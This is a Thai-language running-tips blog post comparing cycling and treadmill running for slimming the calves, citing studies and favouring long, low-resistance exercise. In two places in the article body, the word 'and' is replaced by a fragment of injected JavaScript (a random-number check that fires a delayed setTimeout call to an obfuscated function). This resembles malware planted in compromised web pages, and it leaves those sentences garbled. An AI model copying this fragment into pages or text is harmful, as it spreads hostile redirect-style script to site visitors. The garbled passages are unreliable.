• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

Reduce calf muscles: Bike or Treadmill? อยากน่องเรียวงามต้องปั่นหรือวิ่งลู่

Kanthad Yangsattha by Kanthad Yangsattha
9 January 2015
in Running Tips, Tips & Technics
0
Reduce calf muscles: Bike or Treadmill? อยากน่องเรียวงามต้องปั่นหรือวิ่งลู่
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

Reduce calf muscles: Bike or Treadmill? วิธีการไหนที่สามารถทำให้ขาเรียวงามได้ดีกว่าระหว่างปั่นจักรยานหรือวิ่งลู่ (treadmill)

การเดิน วิ่งหรือปั่นจักรยานเป็นการออกกำลังกายแบบ cardio ที่ช่วยเผาผลาญไขมันส่วนเกินในร่างกาย ให้หุ่นคุณผอมเพรียวบาง แต่ว่าการออกกำลังกายทั้งหมดนี้ต่างก็ใช้กล้ามเนื้อน่อง (Claves) ด้วยกันทั้งนั้น จึงพูดได้ว่าการออกกำลักายทั้งหมดนี้ก็ไม่ได้ลดกล้ามเนื้อน่องคุณ 100% หรอก

วิธีการลดกล้ามเนื้อน่องอย่างง่ายๆ คือการไม่ใช้งานมัน ปล่อยให้ฝ่อ ให้มันลีบไปเอง โดยการลดอาหาร ให้ร่างกายย่อยกล้ามเนื้อเพื่อใช้เป็นแหล่งพลังงานทดแทน ผลก็คือเราจะสูญเสียมวลกล้ามเนื้อ ผอมแถมดูซูบลงด้วยครับ ซึ่งวิธีการอดอาหารนี้ดูจะไม่ Healthy สำหรับคนที่รักสุขภาพแน่นอน

แต่อย่าเพียงเสียใจไปเราสามารถออกกำลังกายให้ร่างกายแข็งแรงดู Healthy ได้โดยไม่เพิ่มขนาดกล้ามเนื้อได้เช่นกัน วิธีนี้เรียกว่า Long period andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and little resistance เป็นการออกกำลังกายที่ใช้เวลานานหน่อย แต่ปรับลดแรงต้านให้น้อยลง การออกกำลังกายวิธีนี้จะไม่ไปเพิ่มภาระให้มัดกล้ามเนื้อ เราสามารถสร้างความฟิต ความอึดให้กับกล้ามเนื้อโดยไม่ไปกระตุ้นให้สร้างกล้ามเนื้อเพิ่ม

การวิ่งลู่ หรือการวิ่ง Treadmill

กิจกรรมอย่างวิ่งและเดิน เป็นการออกกำลังกายที่ช่วงล่าง ขา น่อง เท้า ต้องรับน้ำหนักจากร่างกายทั้งหมด หรือที่เรียกว่า Weight-bearing activity เป็นการเพิ่มแรงต้านให้กับกล้ามเนื้อน่องอัตโนมัติ แต่ควรรู้ไว้ว่าการวิ่งกับเดินใช้มัดกล้ามเนื้อต่างกัน การเดิน (Brisk walk) จะใช้มัดกล้ามเนื้อน่องมากกว่าการจ๊อกกิ้ง หรือวิ่งธรรมดา มีโอกาศที่จะสร้างมัดกล้ามเนื้อได้สูง ดังนั้นเพื่อลดการสร้างมัดกล้ามเนื้อควรเลือกการวิ่งและจ๊อกกิ้ง จะดีกว่าการเดินนะครับ

การเดินบนลู่วิ่ง (Treadmill Walking) เป็นการเริ่มต้นที่ดีสำหรับมือใหม่หัดเล่น cardio เราสามารถสร้างความแข็งแรงให้กล้ามเนื้อและความอึดให้ร่างกายโดยการเดิน (brisk walking) บนลู่วิ่ง ในศึกษาปี 2007 โดย Tel Aviv University พบว่า คนที่ออกกำลังกายโดยเดินบนลู่วิ่งจะเหนื่อย หายใจไม่ทัน เร็วกว่ามัดกล้ามเนื้อน่องจะล้าซะก่อน คือระบบหายใจไปก่อน ส่วนขาตามหลังมา ดังนั้นเราควรที่จะใส่การวิ่งลงไปบ้างสลับกันให้กล้ามเนื้อส่วนอื่นทำงานบ้างและให้เวลากล้ามเนื้อน่องได้ผ่อนการใช้งานลง

ปั่นจักรยาน

การปั่นจักรยานเป็นกีฬาประเภท non-weight bearing exercise หรือกีฬาประเภท low impact ที่ไม่ต้องแบกน้ำหนักของร่างกาย การเซตเกียร์เบาหมายถึงการมีแรงต้านน้อย สามารถลดการสร้างมวลกล้ามเนื้อเพิ่มได้ ในปี 2011 Shukutoku University คณะ health andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and medical studies ประเทศญี่ปุ่น ได้ทำการศึกษาและพบว่า การปั่นจักรยานโดยไม่มีแรงต้าน ไม่สามารถทำให้กล้ามเนื้อน่องมีความแข็งเรงขึ้น ถึงแม้จะปั้นให้สูงก็ตาม ดังนั้นจึงพิจรณาได้ว่า การปั่นจักรยานมีโอกาสที่จะสร้างกล้ามเนื้อน่องเพิ่มได้น้อยกว่าการวิ่งบนลู่ (treadmill) แต่ถ้าใส่เกียร์สูงปั่นหนักจนขาล้า รับรองว่าเราจะได้กล้ามเนื้อเพิ่มขึ้นแน่นอน

ที่มาlivestrong.com

ShareTweetShare
Kanthad Yangsattha

Kanthad Yangsattha

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิธีคำนวณ Maximum Heart Rate

    วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • คนกรุงวิ่งไหนดี…9 สวนสาธารณะขนาดกลางเหมาะสำหรับวิ่ง

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.